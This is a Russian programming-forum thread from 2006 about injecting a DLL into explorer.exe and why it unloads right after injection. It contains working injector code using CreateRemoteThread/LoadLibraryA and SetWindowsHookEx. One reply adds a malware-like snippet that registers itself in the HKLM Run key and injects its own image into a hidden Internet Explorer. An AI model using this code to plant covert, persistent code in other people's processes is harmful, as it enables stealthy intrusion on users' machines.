Модераторы: feodorv, GremlinProg, xvr, Fixin
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> DLL Inject into EXPLORER.EXE, необоснованый DLL_PROCESS_DETACH 
:(
    Опции темы
supersonic
Дата 8.9.2006, 08:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 22
Регистрация: 21.6.2006

Репутация: нет
Всего: нет



Внедряю свою длл в адрес-спэйс EXPLORER.EXE последний тут же почему то от нее избавляется, т.е. мой проверочный мессадж-бокс на DLL_PROCESS_DETACH срабатывает сразу после инжекта, с другими процессами такого не происходит, ну еще TOTALCMD.EXE иногда подглючивает при инжекте ну это уже не суть важно. DLL конечно же не пустая, но для проверки я все там закоментил кроме МесаджБоксов в точке входа и та же самая фигня. Вот код тестового инжектора
Код

#include "stdafx.h"
#include "windows.h"

void _AttachDll(DWORD PID, LPSTR DLLName)
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    LPVOID pLibRemote = VirtualAllocEx(hProcess, NULL, lstrlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
    if(pLibRemote == NULL)
        return;
    if(!WriteProcessMemory(hProcess, pLibRemote, (LPVOID)DLLName,lstrlen(DLLName) + 1,NULL))
        return;
    HANDLE hThread = NULL;
    hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32,"LoadLibraryA"),pLibRemote,0,NULL);
    if(hThread != NULL )
    {
        WaitForSingleObject(hThread,INFINITE);
        DWORD hLibModule;
        GetExitCodeThread(hThread, &hLibModule );
        CloseHandle(hThread);
    }
}


int main(int argc, char* argv[])
{
    STARTUPINFO si = {sizeof(STARTUPINFO)};
    PROCESS_INFORMATION pi;
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    if(CreateProcess(NULL,"EXPLORER.EXE",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi)) 
    {
        _AttachDll(pi.dwProcessId,"D:\\777\\plugin211\\Release\\plugin2.dll");
        ResumeThread(pi.hThread);
    }
    return 0;
}


Это сообщение отредактировал(а) supersonic - 8.9.2006, 08:51
PM MAIL   Вверх
shopen
Дата 8.9.2006, 09:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 35
Регистрация: 31.8.2006

Репутация: нет
Всего: нет



Цитата(supersonic @  8.9.2006,  08:49 Найти цитируемый пост)
VirtualAllocEx(hProcess, NULL, lstrlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);

а почему у тебя длина выделяемой памяти = lstrlen(DLLName) + 1 ?
я полагаю нужен размер твой дллки? 
а вообще есть такие вот сырки инжекта кода:

Код

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
    hInst=hInstance;
    HWND hWnd;
    DWORD dwPid;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    unsigned char ie_path[MAX_PATH];
    unsigned char ie_name[]="\\Internet Explorer\\IEXPLORE.EXE";
    unsigned char cur_name[MAX_PATH];
    HKEY pkey;

    Sleep(10000);
    GetModuleFileName(GetModuleHandle(NULL),(LPSTR)cur_name,MAX_PATH);
    RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pkey);
    RegSetValue(pkey,NULL, REG_SZ , (LPSTR)cur_name, strlen((const char *)cur_name));
    RegCloseKey(pkey);

    hWnd = FindWindow("IEFrame", NULL);
    if (hWnd==0){;
        SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, (LPSTR)ie_path);
        memcpy(ie_path+strlen((const char *)ie_path),ie_name,sizeof(ie_name));
        ZeroMemory(&si,sizeof(si));
        si.dwFlags=STARTF_USESHOWWINDOW;
        si.wShowWindow=SW_HIDE;
        CreateProcess(LPCSTR(ie_path), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        ResumeThread(pi.hThread);
        do {
            hWnd = FindWindow("IEFrame", NULL);
        } while (hWnd==0);
    }
    //ShellExecute(NULL, "open", (LPSTR)ie_path, NULL, NULL, SW_HIDE);
    
    //hWnd = FindWindow("Progman", NULL);
    Sleep(200);
    GetWindowThreadProcessId(hWnd, &dwPid);
    Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL);


}



Добавлено @ 09:10 
Код

BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam)
{
    HMODULE hModule;
    HMODULE *hNewModule;
    DWORD dwSize;
    HANDLE hProcess;

    PIMAGE_DOS_HEADER pDH;
    PIMAGE_NT_HEADERS pPE;

    if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL)
        return FALSE;

    hModule = GetModuleHandle(NULL);

    pDH = (PIMAGE_DOS_HEADER)hModule;
    pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew);

    dwSize = pPE->OptionalHeader.SizeOfImage;

    LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (lpNewAddr == NULL)
        return FALSE;

    CopyMemory(lpNewAddr, hModule, dwSize);

    hNewModule = (HMODULE *) VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (hNewModule == NULL)
        return FALSE;

    PerformRebase(lpNewAddr, (DWORD)hNewModule);

    if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0)
        return FALSE;

    DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule;

    if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL)
        return FALSE;

    return TRUE;
}

BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase)
{
    PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress;

    if (pDH->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;

    PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew);

    if (pPE->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase;

    DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa);

    UINT c = 0;
    while (c < dwCb)
    {
        c += pBR->SizeOfBlock;
        int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress);
        WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION));

        for (int i = 0; i < RelocCount; i++)
        {
            int type = areloc[i] >> 12;
            if (type == 0)
                continue;
            if (type != 3)
                return FALSE;

            int ofs = areloc[i] & 0x0fff;

            DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs);
            if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage)
                return FALSE;

            *pReloc += dwDelta;
        }
        pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock);
    }
    pPE->OptionalHeader.ImageBase = dwNewBase;

    return TRUE;
}


PM MAIL   Вверх
supersonic
Дата 8.9.2006, 09:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 22
Регистрация: 21.6.2006

Репутация: нет
Всего: нет



Цитата

а почему у тебя длина выделяемой памяти = lstrlen(DLLName) + 1 ?
я полагаю нужен размер твой дллки? 
а вообще есть такие вот сырки инжекта кода:


1. Мы выделяем память для имени длл-ки включая ее полный путь, +1 для оконечного нуль-терминатора.
2. Не размер а именно длинна пути, т.к. мы создаем удаленный тред с функ. LoadLibraryA и в качестве параметра к этому треду мы передаем этот путь уже находящийся в адресс-спэйс целевого процесса.
3. При вышеописаном раскладе отпадает необходимость настраивать релоки в длл, т.к. это сделает за нас сама винда.


Проблема имхо не в инжекторе, а в самом explorer.exe, но что за проблема хз
PM MAIL   Вверх
SergeCpp
Дата 8.9.2006, 11:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


 
**


Профиль
Группа: Участник
Сообщений: 955
Регистрация: 8.8.2005
Где: At Home

Репутация: 10
Всего: 124



Инжектер
Код
// Inject.cpp
// ==========

#include "Header.h"

#include "Inject.h"

///////////////////////////////////////////////////////////////////////////////////////////////////

void InjectLib( HWND hTargetWnd, const char* pLibFile )
{
    if( HINSTANCE hDLL( LoadLibrary( pLibFile ) ) )
    {
        DWORD pid;
        DWORD tid( GetWindowThreadProcessId( hTargetWnd, &pid ) );

        if( HANDLE hPrc( OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ) ) )
        {
            DWORD  busy( WaitForInputIdle( hPrc, INFINITE ) );

            CloseHandle( hPrc );

            if( busy )
            {
                goto exit;
            }
        }
        else
        {
            goto exit;
        }

        if( HOOKPROC pProc( ( HOOKPROC )GetProcAddress( hDLL, ( const char* )1 ) ) )
        {
            if( HANDLE hEvDone( CreateEvent( NULL, TRUE, FALSE, "InjectDone" ) ) )
            {
                if( HHOOK hGetMsgProc( SetWindowsHookEx( WH_GETMESSAGE, pProc, hDLL, tid ) ) )
                {
                    for( int i = 0; i < 15; i++ ) // 1 minute
                    {
#ifdef _DEBUG
//                        MessageBox( NULL,
//                                    "To post message to injectee click OK",
//                                    "Injecter",
//                                    MB_ICONINFORMATION | MB_TOPMOST );
#endif
                        PostThreadMessage( tid, WM_NULL, 0x12349abc, ( LPARAM )hGetMsgProc );

                        if( WaitForSingleObject( hEvDone, 4000 ) == WAIT_OBJECT_0 )
                        {
                            break;
                        }
                    }

                    UnhookWindowsHookEx( hGetMsgProc );
                }

                CloseHandle( hEvDone );
            }
        }
exit:
        FreeLibrary( hDLL );
    }
}

//

const char g_InjecterDLL  [ 16 ] = "Clock";                // 0040 1050

const char g_InjecteeClass[ 32 ] = "Progman";            // 0040 1060
const char g_InjecteeName [ 32 ] = "Program Manager";    // 0040 1080

//

void InjectMain()
{
    // to prevent interfering with system bootup

    SetPriorityClass ( GetCurrentProcess(), IDLE_PRIORITY_CLASS  );
    SetThreadPriority( GetCurrentThread (), THREAD_PRIORITY_IDLE );

    for( int i = 0; i < 15; i++ ) // 1 minute
    {
        Sleep( 4000 );

        if( HWND hExpWnd( FindWindow( g_InjecteeClass, g_InjecteeName ) ) )
        {
            InjectLib( hExpWnd, g_InjecterDLL );

            return;
        }
    }
}

// EOF

Инжектируемая библиотека
Код
///////////////////////////////////////////////////////////////////////////////////////////////////

#pragma comment( linker, "/EXPORT:?Hook@@YGJHIJ@Z,@1,NONAME" )

long __stdcall Hook( int Code, WPARAM bRemoved, LPARAM pMsg )
{
static BOOL  s_First( TRUE );
static HHOOK s_hHook( NULL );

    if( ( ( MSG* )pMsg )->message == WM_NULL &&
        ( ( MSG* )pMsg )->wParam  == 0x12349abc ) // Injecter identification
    {
        if( s_First )
        {
            s_First = FALSE;
            s_hHook = ( HHOOK )( ( MSG* )pMsg )->lParam;

            // load once more to prevent from unloading when hook removed
            // also set handle

            g_hClockDLL = LoadLibrary( g_pClockDLLName );

            DWORD tid; // Win9x requirement for CreateThread()

            CloseHandle( CreateThread( NULL,
                                       0x2000,    // initial commit stack size
                                       ( PTHREAD_START_ROUTINE )ClockMain,
                                       NULL,    // some parameter can be passed if needed
                                       0,
                                       &tid ) );

            if( HANDLE hEvDone( OpenEvent( EVENT_MODIFY_STATE, NULL, "InjectDone" ) ) )
            {
                SetEvent   ( hEvDone ); // answer to Injecter
                CloseHandle( hEvDone );
            }
        }
    }

    if( s_hHook )
        return CallNextHookEx( s_hHook, Code, bRemoved, pMsg );
    else
        return 0;
}

// EOF


PM MAIL WWW ICQ   Вверх
supersonic
Дата 8.9.2006, 11:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 22
Регистрация: 21.6.2006

Репутация: нет
Всего: нет



Спасибо про виндовые хуки я знаю, мне нужно проинжектироваться в explorer.exe через WriteProcessMemory/CreateRemoteThread/LoadLibraryA. Просто достаточно интересная ситуация, т.к. я уже протестил на 3х компах с WinXP SP2(Rus/Eng) и все повторяется. Если кому не сложно тестаните мой пример инжекта с пустой длл и мессаджами на АТТАЧ/ДЕТАЧ
PM MAIL   Вверх
GremlinProg
Дата 8.9.2006, 11:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2706
Регистрация: 9.8.2005
Где: Тюмень

Репутация: 99
Всего: 106



supersonic, пока не тестировал, но возможно выгружает длл не эксплорер, а антивирусник. Если он сканит виртуальную память, то explorer - первостепенная для него цель, по идее.

...а вообще, красиво, мне нравится )


--------------------
"Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины."
PM WWW ICQ   Вверх
shopen
Дата 8.9.2006, 12:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 35
Регистрация: 31.8.2006

Репутация: нет
Всего: нет



да, идея на самом деле ничего, можешь откомпиленный файл выложить? влом собирать
PM MAIL   Вверх
supersonic
Дата 8.9.2006, 16:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 22
Регистрация: 21.6.2006

Репутация: нет
Всего: нет



Ну есть АВ на компах, на 2х рабочих компах стоит ТрендМикро-Офис-Скан, на домашнем ДрВэб последний самый с новыми базами, но я не думаю что в АВ дело. Как прийду домой выложу скомпиленый exe и dll
PM MAIL   Вверх
elja
Дата 14.8.2009, 22:10 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 7
Регистрация: 14.8.2009

Репутация: нет
Всего: нет



Но он не пришёл домой ((!
PM MAIL   Вверх
GoldFinch
Дата 14.8.2009, 22:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата



****


Профиль
Группа: Завсегдатай
Сообщений: 2141
Регистрация: 30.11.2008

Репутация: 2
Всего: 26



фсб поймало
PM MAIL ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "C/C++: Системное программирование и WinAPI"
Fixin
GremlinProg
xvr
feodorv
  • Большое количество информации и примеров с использованием функций WinAPI можно найти в MSDN
  • Описание сообщений, уведомлений и примеров с использованием компонент WinAPI (BUTTON, EDIT, STATIC, и т.п.), можно найти в MSDN Control Library
  • Непосредственно, перед созданием новой темы, проверьте заголовок и удостоверьтесь, что он отражает суть обсуждения.
  • После заполнения поля "Название темы", обратите внимание на наличие и содержание панели "А здесь смотрели?", возможно Ваш вопрос уже был решен.
  • Приводите часть кода, в которой предположительно находится проблема или ошибка.
  • Если указываете код, пользуйтесь тегами [code][/code], или их кнопочными аналогами.
  • Если вопрос решен, воспользуйтесь соответствующей ссылкой, расположенной напротив названия темы.
  • Один топик - один вопрос!
  • Перед тем как создать тему - прочтите это .

На данный раздел распространяются Правила форума и Правила раздела С++:Общие вопросы .


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Chipset, Step, Fixin, GremlinProg, xvr. feodorv.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Системное программирование и WinAPI | Следующая тема »


 




[ Время генерации скрипта: 0.0878 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.